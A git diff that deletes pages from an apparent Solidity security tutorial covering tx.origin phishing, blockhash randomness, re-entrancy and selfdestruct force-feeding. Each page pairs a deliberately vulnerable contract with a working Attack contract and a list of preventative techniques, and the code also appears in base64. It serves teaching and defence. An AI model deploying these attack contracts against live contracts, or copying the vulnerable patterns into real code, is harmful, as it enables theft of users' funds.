-    }
-
-    function transfer(address payable _to, uint _amount) public {
-        require(tx.origin == owner, "Not owner");
-
-        (bool sent, ) = _to.call{value: _amount}("");
-        require(sent, "Failed to send Ether");
-    }
-}
-
-contract Attack {
-    address payable public owner;
-    Wallet wallet;
-
-    constructor(Wallet _wallet) {
-        wallet = Wallet(_wallet);
-        owner = payable(msg.sender);
-    }
-
-    function attack() public {
-        wallet.transfer(owner, address(wallet).balance);
-    }
-}
-

Preventative Techniques

-

Use msg.sender instead of tx.origin

-
function transfer(address payable _to, uint256 _amount) public {
-  require(msg.sender == owner, "Not owner");
-
-  (bool sent, ) = _to.call{ value: _amount }("");
-  require(sent, "Failed to send Ether");
-}
-
` - -export default html diff --git a/src/pages/hacks/phishing-with-tx-origin/index.md b/src/pages/hacks/phishing-with-tx-origin/index.md deleted file mode 100644 index 30e06e7a7..000000000 --- a/src/pages/hacks/phishing-with-tx-origin/index.md +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: Phishing with tx.origin -version: 0.8.20 -description: An example of phishing with tx.origin in Solidity -keywords: [hack, security, phishing, tx.origin] ---- - -### What's the difference between `msg.sender` and `tx.origin`? - -If contract A calls B, and B calls C, in C `msg.sender` is B and `tx.origin` is A. - -### Vulnerability - -A malicious contract can deceive the owner of a contract into calling a -function that only the owner should be able to call. - -```solidity -{{{TxOrigin}}} -``` - -### Preventative Techniques - -Use `msg.sender` instead of `tx.origin` - -```solidity -function transfer(address payable _to, uint256 _amount) public { - require(msg.sender == owner, "Not owner"); - - (bool sent, ) = _to.call{ value: _amount }(""); - require(sent, "Failed to send Ether"); -} -``` diff --git a/src/pages/hacks/phishing-with-tx-origin/index.tsx b/src/pages/hacks/phishing-with-tx-origin/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/hacks/phishing-with-tx-origin/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/hacks/randomness/Randomness.sol b/src/pages/hacks/randomness/Randomness.sol deleted file mode 100644 index 16e070c45..000000000 --- a/src/pages/hacks/randomness/Randomness.sol +++ /dev/null @@ -1,57 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -/* -NOTE: cannot use blockhash in Remix so use ganache-cli - -npm i -g ganache-cli -ganache-cli -In remix switch environment to Web3 provider -*/ - -/* -GuessTheRandomNumber is a game where you win 1 Ether if you can guess the -pseudo random number generated from block hash and timestamp. - -At first glance, it seems impossible to guess the correct number. -But let's see how easy it is win. - -1. Alice deploys GuessTheRandomNumber with 1 Ether -2. Eve deploys Attack -3. Eve calls Attack.attack() and wins 1 Ether - -What happened? -Attack computed the correct answer by simply copying the code that computes the random number. -*/ - -contract GuessTheRandomNumber { - constructor() payable {} - - function guess(uint _guess) public { - uint answer = uint( - keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)) - ); - - if (_guess == answer) { - (bool sent, ) = msg.sender.call{value: 1 ether}(""); - require(sent, "Failed to send Ether"); - } - } -} - -contract Attack { - receive() external payable {} - - function attack(GuessTheRandomNumber guessTheRandomNumber) public { - uint answer = uint( - keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)) - ); - - guessTheRandomNumber.guess(answer); - } - - // Helper function to check balance - function getBalance() public view returns (uint) { - return address(this).balance; - } -} diff --git a/src/pages/hacks/randomness/index.html.ts b/src/pages/hacks/randomness/index.html.ts deleted file mode 100644 index 3ca03447f..000000000 --- a/src/pages/hacks/randomness/index.html.ts +++ /dev/null @@ -1,90 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Source of Randomness" -export const description = - "Blockchain is not a reliable source of randomness in Solidity" - -export const keywords = [ - "hack", - "security", - "source", - "random", - "randomness", - "blockhash", - "block", - "timestamp", -] - -export const codes = [ - { - fileName: "Randomness.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qCk5PVEU6IGNhbm5vdCB1c2UgYmxvY2toYXNoIGluIFJlbWl4IHNvIHVzZSBnYW5hY2hlLWNsaQoKbnBtIGkgLWcgZ2FuYWNoZS1jbGkKZ2FuYWNoZS1jbGkKSW4gcmVtaXggc3dpdGNoIGVudmlyb25tZW50IHRvIFdlYjMgcHJvdmlkZXIKKi8KCi8qCkd1ZXNzVGhlUmFuZG9tTnVtYmVyIGlzIGEgZ2FtZSB3aGVyZSB5b3Ugd2luIDEgRXRoZXIgaWYgeW91IGNhbiBndWVzcyB0aGUKcHNldWRvIHJhbmRvbSBudW1iZXIgZ2VuZXJhdGVkIGZyb20gYmxvY2sgaGFzaCBhbmQgdGltZXN0YW1wLgoKQXQgZmlyc3QgZ2xhbmNlLCBpdCBzZWVtcyBpbXBvc3NpYmxlIHRvIGd1ZXNzIHRoZSBjb3JyZWN0IG51bWJlci4KQnV0IGxldCdzIHNlZSBob3cgZWFzeSBpdCBpcyB3aW4uCgoxLiBBbGljZSBkZXBsb3lzIEd1ZXNzVGhlUmFuZG9tTnVtYmVyIHdpdGggMSBFdGhlcgoyLiBFdmUgZGVwbG95cyBBdHRhY2sKMy4gRXZlIGNhbGxzIEF0dGFjay5hdHRhY2soKSBhbmQgd2lucyAxIEV0aGVyCgpXaGF0IGhhcHBlbmVkPwpBdHRhY2sgY29tcHV0ZWQgdGhlIGNvcnJlY3QgYW5zd2VyIGJ5IHNpbXBseSBjb3B5aW5nIHRoZSBjb2RlIHRoYXQgY29tcHV0ZXMgdGhlIHJhbmRvbSBudW1iZXIuCiovCgpjb250cmFjdCBHdWVzc1RoZVJhbmRvbU51bWJlciB7CiAgICBjb25zdHJ1Y3RvcigpIHBheWFibGUge30KCiAgICBmdW5jdGlvbiBndWVzcyh1aW50IF9ndWVzcykgcHVibGljIHsKICAgICAgICB1aW50IGFuc3dlciA9IHVpbnQoCiAgICAgICAgICAgIGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKGJsb2NraGFzaChibG9jay5udW1iZXIgLSAxKSwgYmxvY2sudGltZXN0YW1wKSkKICAgICAgICApOwoKICAgICAgICBpZiAoX2d1ZXNzID09IGFuc3dlcikgewogICAgICAgICAgICAoYm9vbCBzZW50LCApID0gbXNnLnNlbmRlci5jYWxse3ZhbHVlOiAxIGV0aGVyfSgiIik7CiAgICAgICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CiAgICAgICAgfQogICAgfQp9Cgpjb250cmFjdCBBdHRhY2sgewogICAgcmVjZWl2ZSgpIGV4dGVybmFsIHBheWFibGUge30KCiAgICBmdW5jdGlvbiBhdHRhY2soR3Vlc3NUaGVSYW5kb21OdW1iZXIgZ3Vlc3NUaGVSYW5kb21OdW1iZXIpIHB1YmxpYyB7CiAgICAgICAgdWludCBhbnN3ZXIgPSB1aW50KAogICAgICAgICAgICBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChibG9ja2hhc2goYmxvY2subnVtYmVyIC0gMSksIGJsb2NrLnRpbWVzdGFtcCkpCiAgICAgICAgKTsKCiAgICAgICAgZ3Vlc3NUaGVSYW5kb21OdW1iZXIuZ3Vlc3MoYW5zd2VyKTsKICAgIH0KCiAgICAvLyBIZWxwZXIgZnVuY3Rpb24gdG8gY2hlY2sgYmFsYW5jZQogICAgZnVuY3Rpb24gZ2V0QmFsYW5jZSgpIHB1YmxpYyB2aWV3IHJldHVybnMgKHVpbnQpIHsKICAgICAgICByZXR1cm4gYWRkcmVzcyh0aGlzKS5iYWxhbmNlOwogICAgfQp9Cg==", - }, -] - -const html = `

Vulnerability

-

blockhash and block.timestamp are not reliable sources for randomness.

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-/*
-NOTE: cannot use blockhash in Remix so use ganache-cli
-
-npm i -g ganache-cli
-ganache-cli
-In remix switch environment to Web3 provider
-*/
-
-/*
-GuessTheRandomNumber is a game where you win 1 Ether if you can guess the
-pseudo random number generated from block hash and timestamp.
-
-At first glance, it seems impossible to guess the correct number.
-But let's see how easy it is win.
-
-1. Alice deploys GuessTheRandomNumber with 1 Ether
-2. Eve deploys Attack
-3. Eve calls Attack.attack() and wins 1 Ether
-
-What happened?
-Attack computed the correct answer by simply copying the code that computes the random number.
-*/
-
-contract GuessTheRandomNumber {
-    constructor() payable {}
-
-    function guess(uint _guess) public {
-        uint answer = uint(
-            keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))
-        );
-
-        if (_guess == answer) {
-            (bool sent, ) = msg.sender.call{value: 1 ether}("");
-            require(sent, "Failed to send Ether");
-        }
-    }
-}
-
-contract Attack {
-    receive() external payable {}
-
-    function attack(GuessTheRandomNumber guessTheRandomNumber) public {
-        uint answer = uint(
-            keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))
-        );
-
-        guessTheRandomNumber.guess(answer);
-    }
-
-    // Helper function to check balance
-    function getBalance() public view returns (uint) {
-        return address(this).balance;
-    }
-}
-

Preventative Techniques

-
    -
  • Don't use blockhash and block.timestamp as source of randomness
  • -
-` - -export default html diff --git a/src/pages/hacks/randomness/index.md b/src/pages/hacks/randomness/index.md deleted file mode 100644 index f8b118519..000000000 --- a/src/pages/hacks/randomness/index.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Source of Randomness -version: 0.8.20 -description: Blockchain is not a reliable source of randomness in Solidity -keywords: [hack, security, source, random, randomness, blockhash, block, timestamp] ---- - -### Vulnerability - -`blockhash` and `block.timestamp` are not reliable sources for randomness. - -```solidity -{{{Randomness}}} -``` - -### Preventative Techniques - -- Don't use `blockhash` and `block.timestamp` as source of randomness diff --git a/src/pages/hacks/randomness/index.tsx b/src/pages/hacks/randomness/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/hacks/randomness/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/hacks/re-entrancy/ReEntrancy.sol b/src/pages/hacks/re-entrancy/ReEntrancy.sol deleted file mode 100644 index 275d2b474..000000000 --- a/src/pages/hacks/re-entrancy/ReEntrancy.sol +++ /dev/null @@ -1,78 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -/* -EtherStore is a contract where you can deposit and withdraw ETH. -This contract is vulnerable to re-entrancy attack. -Let's see why. - -1. Deploy EtherStore -2. Deposit 1 Ether each from Account 1 (Alice) and Account 2 (Bob) into EtherStore -3. Deploy Attack with address of EtherStore -4. Call Attack.attack sending 1 ether (using Account 3 (Eve)). - You will get 3 Ethers back (2 Ether stolen from Alice and Bob, - plus 1 Ether sent from this contract). - -What happened? -Attack was able to call EtherStore.withdraw multiple times before -EtherStore.withdraw finished executing. - -Here is how the functions were called -- Attack.attack -- EtherStore.deposit -- EtherStore.withdraw -- Attack fallback (receives 1 Ether) -- EtherStore.withdraw -- Attack.fallback (receives 1 Ether) -- EtherStore.withdraw -- Attack fallback (receives 1 Ether) -*/ - -contract EtherStore { - mapping(address => uint) public balances; - - function deposit() public payable { - balances[msg.sender] += msg.value; - } - - function withdraw() public { - uint bal = balances[msg.sender]; - require(bal > 0); - - (bool sent, ) = msg.sender.call{value: bal}(""); - require(sent, "Failed to send Ether"); - - balances[msg.sender] = 0; - } - - // Helper function to check the balance of this contract - function getBalance() public view returns (uint) { - return address(this).balance; - } -} - -contract Attack { - EtherStore public etherStore; - - constructor(address _etherStoreAddress) { - etherStore = EtherStore(_etherStoreAddress); - } - - // Fallback is called when EtherStore sends Ether to this contract. - fallback() external payable { - if (address(etherStore).balance >= 1 ether) { - etherStore.withdraw(); - } - } - - function attack() external payable { - require(msg.value >= 1 ether); - etherStore.deposit{value: 1 ether}(); - etherStore.withdraw(); - } - - // Helper function to check the balance of this contract - function getBalance() public view returns (uint) { - return address(this).balance; - } -} diff --git a/src/pages/hacks/re-entrancy/ReEntrancyGuard.sol b/src/pages/hacks/re-entrancy/ReEntrancyGuard.sol deleted file mode 100644 index 587d03de1..000000000 --- a/src/pages/hacks/re-entrancy/ReEntrancyGuard.sol +++ /dev/null @@ -1,13 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract ReEntrancyGuard { - bool internal locked; - - modifier noReentrant() { - require(!locked, "No re-entrancy"); - locked = true; - _; - locked = false; - } -} diff --git a/src/pages/hacks/re-entrancy/index.html.ts b/src/pages/hacks/re-entrancy/index.html.ts deleted file mode 100644 index 7687897b6..000000000 --- a/src/pages/hacks/re-entrancy/index.html.ts +++ /dev/null @@ -1,121 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Re-Entrancy" -export const description = "An example of re-entrancy attack in Solidity" - -export const keywords = ["hack", "security", "re-entrancy"] - -export const codes = [ - { - fileName: "ReEntrancy.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qCkV0aGVyU3RvcmUgaXMgYSBjb250cmFjdCB3aGVyZSB5b3UgY2FuIGRlcG9zaXQgYW5kIHdpdGhkcmF3IEVUSC4KVGhpcyBjb250cmFjdCBpcyB2dWxuZXJhYmxlIHRvIHJlLWVudHJhbmN5IGF0dGFjay4KTGV0J3Mgc2VlIHdoeS4KCjEuIERlcGxveSBFdGhlclN0b3JlCjIuIERlcG9zaXQgMSBFdGhlciBlYWNoIGZyb20gQWNjb3VudCAxIChBbGljZSkgYW5kIEFjY291bnQgMiAoQm9iKSBpbnRvIEV0aGVyU3RvcmUKMy4gRGVwbG95IEF0dGFjayB3aXRoIGFkZHJlc3Mgb2YgRXRoZXJTdG9yZQo0LiBDYWxsIEF0dGFjay5hdHRhY2sgc2VuZGluZyAxIGV0aGVyICh1c2luZyBBY2NvdW50IDMgKEV2ZSkpLgogICBZb3Ugd2lsbCBnZXQgMyBFdGhlcnMgYmFjayAoMiBFdGhlciBzdG9sZW4gZnJvbSBBbGljZSBhbmQgQm9iLAogICBwbHVzIDEgRXRoZXIgc2VudCBmcm9tIHRoaXMgY29udHJhY3QpLgoKV2hhdCBoYXBwZW5lZD8KQXR0YWNrIHdhcyBhYmxlIHRvIGNhbGwgRXRoZXJTdG9yZS53aXRoZHJhdyBtdWx0aXBsZSB0aW1lcyBiZWZvcmUKRXRoZXJTdG9yZS53aXRoZHJhdyBmaW5pc2hlZCBleGVjdXRpbmcuCgpIZXJlIGlzIGhvdyB0aGUgZnVuY3Rpb25zIHdlcmUgY2FsbGVkCi0gQXR0YWNrLmF0dGFjawotIEV0aGVyU3RvcmUuZGVwb3NpdAotIEV0aGVyU3RvcmUud2l0aGRyYXcKLSBBdHRhY2sgZmFsbGJhY2sgKHJlY2VpdmVzIDEgRXRoZXIpCi0gRXRoZXJTdG9yZS53aXRoZHJhdwotIEF0dGFjay5mYWxsYmFjayAocmVjZWl2ZXMgMSBFdGhlcikKLSBFdGhlclN0b3JlLndpdGhkcmF3Ci0gQXR0YWNrIGZhbGxiYWNrIChyZWNlaXZlcyAxIEV0aGVyKQoqLwoKY29udHJhY3QgRXRoZXJTdG9yZSB7CiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gdWludCkgcHVibGljIGJhbGFuY2VzOwoKICAgIGZ1bmN0aW9uIGRlcG9zaXQoKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgYmFsYW5jZXNbbXNnLnNlbmRlcl0gKz0gbXNnLnZhbHVlOwogICAgfQoKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KCkgcHVibGljIHsKICAgICAgICB1aW50IGJhbCA9IGJhbGFuY2VzW21zZy5zZW5kZXJdOwogICAgICAgIHJlcXVpcmUoYmFsID4gMCk7CgogICAgICAgIChib29sIHNlbnQsICkgPSBtc2cuc2VuZGVyLmNhbGx7dmFsdWU6IGJhbH0oIiIpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CgogICAgICAgIGJhbGFuY2VzW21zZy5zZW5kZXJdID0gMDsKICAgIH0KCiAgICAvLyBIZWxwZXIgZnVuY3Rpb24gdG8gY2hlY2sgdGhlIGJhbGFuY2Ugb2YgdGhpcyBjb250cmFjdAogICAgZnVuY3Rpb24gZ2V0QmFsYW5jZSgpIHB1YmxpYyB2aWV3IHJldHVybnMgKHVpbnQpIHsKICAgICAgICByZXR1cm4gYWRkcmVzcyh0aGlzKS5iYWxhbmNlOwogICAgfQp9Cgpjb250cmFjdCBBdHRhY2sgewogICAgRXRoZXJTdG9yZSBwdWJsaWMgZXRoZXJTdG9yZTsKCiAgICBjb25zdHJ1Y3RvcihhZGRyZXNzIF9ldGhlclN0b3JlQWRkcmVzcykgewogICAgICAgIGV0aGVyU3RvcmUgPSBFdGhlclN0b3JlKF9ldGhlclN0b3JlQWRkcmVzcyk7CiAgICB9CgogICAgLy8gRmFsbGJhY2sgaXMgY2FsbGVkIHdoZW4gRXRoZXJTdG9yZSBzZW5kcyBFdGhlciB0byB0aGlzIGNvbnRyYWN0LgogICAgZmFsbGJhY2soKSBleHRlcm5hbCBwYXlhYmxlIHsKICAgICAgICBpZiAoYWRkcmVzcyhldGhlclN0b3JlKS5iYWxhbmNlID49IDEgZXRoZXIpIHsKICAgICAgICAgICAgZXRoZXJTdG9yZS53aXRoZHJhdygpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiBhdHRhY2soKSBleHRlcm5hbCBwYXlhYmxlIHsKICAgICAgICByZXF1aXJlKG1zZy52YWx1ZSA+PSAxIGV0aGVyKTsKICAgICAgICBldGhlclN0b3JlLmRlcG9zaXR7dmFsdWU6IDEgZXRoZXJ9KCk7CiAgICAgICAgZXRoZXJTdG9yZS53aXRoZHJhdygpOwogICAgfQoKICAgIC8vIEhlbHBlciBmdW5jdGlvbiB0byBjaGVjayB0aGUgYmFsYW5jZSBvZiB0aGlzIGNvbnRyYWN0CiAgICBmdW5jdGlvbiBnZXRCYWxhbmNlKCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludCkgewogICAgICAgIHJldHVybiBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CiAgICB9Cn0K", - }, - { - fileName: "ReEntrancyGuard.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFJlRW50cmFuY3lHdWFyZCB7CiAgICBib29sIGludGVybmFsIGxvY2tlZDsKCiAgICBtb2RpZmllciBub1JlZW50cmFudCgpIHsKICAgICAgICByZXF1aXJlKCFsb2NrZWQsICJObyByZS1lbnRyYW5jeSIpOwogICAgICAgIGxvY2tlZCA9IHRydWU7CiAgICAgICAgXzsKICAgICAgICBsb2NrZWQgPSBmYWxzZTsKICAgIH0KfQo=", - }, -] - -const html = `

Vulnerability

-

Let's say that contract A calls contract B.

-

Reentracy exploit allows B to call back into A before A finishes execution.

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-/*
-EtherStore is a contract where you can deposit and withdraw ETH.
-This contract is vulnerable to re-entrancy attack.
-Let's see why.
-
-1. Deploy EtherStore
-2. Deposit 1 Ether each from Account 1 (Alice) and Account 2 (Bob) into EtherStore
-3. Deploy Attack with address of EtherStore
-4. Call Attack.attack sending 1 ether (using Account 3 (Eve)).
-   You will get 3 Ethers back (2 Ether stolen from Alice and Bob,
-   plus 1 Ether sent from this contract).
-
-What happened?
-Attack was able to call EtherStore.withdraw multiple times before
-EtherStore.withdraw finished executing.
-
-Here is how the functions were called
-- Attack.attack
-- EtherStore.deposit
-- EtherStore.withdraw
-- Attack fallback (receives 1 Ether)
-- EtherStore.withdraw
-- Attack.fallback (receives 1 Ether)
-- EtherStore.withdraw
-- Attack fallback (receives 1 Ether)
-*/
-
-contract EtherStore {
-    mapping(address => uint) public balances;
-
-    function deposit() public payable {
-        balances[msg.sender] += msg.value;
-    }
-
-    function withdraw() public {
-        uint bal = balances[msg.sender];
-        require(bal > 0);
-
-        (bool sent, ) = msg.sender.call{value: bal}("");
-        require(sent, "Failed to send Ether");
-
-        balances[msg.sender] = 0;
-    }
-
-    // Helper function to check the balance of this contract
-    function getBalance() public view returns (uint) {
-        return address(this).balance;
-    }
-}
-
-contract Attack {
-    EtherStore public etherStore;
-
-    constructor(address _etherStoreAddress) {
-        etherStore = EtherStore(_etherStoreAddress);
-    }
-
-    // Fallback is called when EtherStore sends Ether to this contract.
-    fallback() external payable {
-        if (address(etherStore).balance >= 1 ether) {
-            etherStore.withdraw();
-        }
-    }
-
-    function attack() external payable {
-        require(msg.value >= 1 ether);
-        etherStore.deposit{value: 1 ether}();
-        etherStore.withdraw();
-    }
-
-    // Helper function to check the balance of this contract
-    function getBalance() public view returns (uint) {
-        return address(this).balance;
-    }
-}
-

Preventative Techniques

-
    -
  • Ensure all state changes happen before calling external contracts
  • -
  • Use function modifiers that prevent re-entrancy
  • -
-

Here is a example of a re-entracy guard

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract ReEntrancyGuard {
-    bool internal locked;
-
-    modifier noReentrant() {
-        require(!locked, "No re-entrancy");
-        locked = true;
-        _;
-        locked = false;
-    }
-}
-
` - -export default html diff --git a/src/pages/hacks/re-entrancy/index.md b/src/pages/hacks/re-entrancy/index.md deleted file mode 100644 index 4b206bca7..000000000 --- a/src/pages/hacks/re-entrancy/index.md +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Re-Entrancy -version: 0.8.20 -description: An example of re-entrancy attack in Solidity -keywords: [hack, security, re-entrancy] ---- - -### Vulnerability - -Let's say that contract `A` calls contract `B`. - -Reentracy exploit allows `B` to call back into `A` before `A` finishes execution. - -```solidity -{{{ReEntrancy}}} -``` - -### Preventative Techniques - -- Ensure all state changes happen before calling external contracts -- Use function modifiers that prevent re-entrancy - -Here is a example of a re-entracy guard - -```solidity -{{{ReEntrancyGuard}}} -``` diff --git a/src/pages/hacks/re-entrancy/index.tsx b/src/pages/hacks/re-entrancy/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/hacks/re-entrancy/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/hacks/self-destruct/ForceEther.sol b/src/pages/hacks/self-destruct/ForceEther.sol deleted file mode 100644 index 897f1c371..000000000 --- a/src/pages/hacks/self-destruct/ForceEther.sol +++ /dev/null @@ -1,58 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -// The goal of this game is to be the 7th player to deposit 1 Ether. -// Players can deposit only 1 Ether at a time. -// Winner will be able to withdraw all Ether. - -/* -1. Deploy EtherGame -2. Players (say Alice and Bob) decides to play, deposits 1 Ether each. -2. Deploy Attack with address of EtherGame -3. Call Attack.attack sending 5 ether. This will break the game - No one can become the winner. - -What happened? -Attack forced the balance of EtherGame to equal 7 ether. -Now no one can deposit and the winner cannot be set. -*/ - -contract EtherGame { - uint public targetAmount = 7 ether; - address public winner; - - function deposit() public payable { - require(msg.value == 1 ether, "You can only send 1 Ether"); - - uint balance = address(this).balance; - require(balance <= targetAmount, "Game is over"); - - if (balance == targetAmount) { - winner = msg.sender; - } - } - - function claimReward() public { - require(msg.sender == winner, "Not winner"); - - (bool sent, ) = msg.sender.call{value: address(this).balance}(""); - require(sent, "Failed to send Ether"); - } -} - -contract Attack { - EtherGame etherGame; - - constructor(EtherGame _etherGame) { - etherGame = EtherGame(_etherGame); - } - - function attack() public payable { - // You can simply break the game by sending ether so that - // the game balance >= 7 ether - - // cast address to payable - address payable addr = payable(address(etherGame)); - selfdestruct(addr); - } -} diff --git a/src/pages/hacks/self-destruct/PreventForceEther.sol b/src/pages/hacks/self-destruct/PreventForceEther.sol deleted file mode 100644 index f97457a81..000000000 --- a/src/pages/hacks/self-destruct/PreventForceEther.sol +++ /dev/null @@ -1,26 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract EtherGame { - uint public targetAmount = 3 ether; - uint public balance; - address public winner; - - function deposit() public payable { - require(msg.value == 1 ether, "You can only send 1 Ether"); - - balance += msg.value; - require(balance <= targetAmount, "Game is over"); - - if (balance == targetAmount) { - winner = msg.sender; - } - } - - function claimReward() public { - require(msg.sender == winner, "Not winner"); - - (bool sent, ) = msg.sender.call{value: balance}(""); - require(sent, "Failed to send Ether"); - } -} diff --git a/src/pages/hacks/self-destruct/index.html.ts b/src/pages/hacks/self-destruct/index.html.ts deleted file mode 100644 index 4862aa8af..000000000 --- a/src/pages/hacks/self-destruct/index.html.ts +++ /dev/null @@ -1,114 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Self Destruct" -export const description = - "An example of how to delete your smart contract by calling seldestruct in Solidity" - -export const keywords = ["hack", "security", "selfdestruct"] - -export const codes = [ - { - fileName: "ForceEther.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8vIFRoZSBnb2FsIG9mIHRoaXMgZ2FtZSBpcyB0byBiZSB0aGUgN3RoIHBsYXllciB0byBkZXBvc2l0IDEgRXRoZXIuCi8vIFBsYXllcnMgY2FuIGRlcG9zaXQgb25seSAxIEV0aGVyIGF0IGEgdGltZS4KLy8gV2lubmVyIHdpbGwgYmUgYWJsZSB0byB3aXRoZHJhdyBhbGwgRXRoZXIuCgovKgoxLiBEZXBsb3kgRXRoZXJHYW1lCjIuIFBsYXllcnMgKHNheSBBbGljZSBhbmQgQm9iKSBkZWNpZGVzIHRvIHBsYXksIGRlcG9zaXRzIDEgRXRoZXIgZWFjaC4KMi4gRGVwbG95IEF0dGFjayB3aXRoIGFkZHJlc3Mgb2YgRXRoZXJHYW1lCjMuIENhbGwgQXR0YWNrLmF0dGFjayBzZW5kaW5nIDUgZXRoZXIuIFRoaXMgd2lsbCBicmVhayB0aGUgZ2FtZQogICBObyBvbmUgY2FuIGJlY29tZSB0aGUgd2lubmVyLgoKV2hhdCBoYXBwZW5lZD8KQXR0YWNrIGZvcmNlZCB0aGUgYmFsYW5jZSBvZiBFdGhlckdhbWUgdG8gZXF1YWwgNyBldGhlci4KTm93IG5vIG9uZSBjYW4gZGVwb3NpdCBhbmQgdGhlIHdpbm5lciBjYW5ub3QgYmUgc2V0LgoqLwoKY29udHJhY3QgRXRoZXJHYW1lIHsKICAgIHVpbnQgcHVibGljIHRhcmdldEFtb3VudCA9IDcgZXRoZXI7CiAgICBhZGRyZXNzIHB1YmxpYyB3aW5uZXI7CgogICAgZnVuY3Rpb24gZGVwb3NpdCgpIHB1YmxpYyBwYXlhYmxlIHsKICAgICAgICByZXF1aXJlKG1zZy52YWx1ZSA9PSAxIGV0aGVyLCAiWW91IGNhbiBvbmx5IHNlbmQgMSBFdGhlciIpOwoKICAgICAgICB1aW50IGJhbGFuY2UgPSBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CiAgICAgICAgcmVxdWlyZShiYWxhbmNlIDw9IHRhcmdldEFtb3VudCwgIkdhbWUgaXMgb3ZlciIpOwoKICAgICAgICBpZiAoYmFsYW5jZSA9PSB0YXJnZXRBbW91bnQpIHsKICAgICAgICAgICAgd2lubmVyID0gbXNnLnNlbmRlcjsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gY2xhaW1SZXdhcmQoKSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSB3aW5uZXIsICJOb3Qgd2lubmVyIik7CgogICAgICAgIChib29sIHNlbnQsICkgPSBtc2cuc2VuZGVyLmNhbGx7dmFsdWU6IGFkZHJlc3ModGhpcykuYmFsYW5jZX0oIiIpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CiAgICB9Cn0KCmNvbnRyYWN0IEF0dGFjayB7CiAgICBFdGhlckdhbWUgZXRoZXJHYW1lOwoKICAgIGNvbnN0cnVjdG9yKEV0aGVyR2FtZSBfZXRoZXJHYW1lKSB7CiAgICAgICAgZXRoZXJHYW1lID0gRXRoZXJHYW1lKF9ldGhlckdhbWUpOwogICAgfQoKICAgIGZ1bmN0aW9uIGF0dGFjaygpIHB1YmxpYyBwYXlhYmxlIHsKICAgICAgICAvLyBZb3UgY2FuIHNpbXBseSBicmVhayB0aGUgZ2FtZSBieSBzZW5kaW5nIGV0aGVyIHNvIHRoYXQKICAgICAgICAvLyB0aGUgZ2FtZSBiYWxhbmNlID49IDcgZXRoZXIKCiAgICAgICAgLy8gY2FzdCBhZGRyZXNzIHRvIHBheWFibGUKICAgICAgICBhZGRyZXNzIHBheWFibGUgYWRkciA9IHBheWFibGUoYWRkcmVzcyhldGhlckdhbWUpKTsKICAgICAgICBzZWxmZGVzdHJ1Y3QoYWRkcik7CiAgICB9Cn0K", - }, - { - fileName: "PreventForceEther.sol", - code: 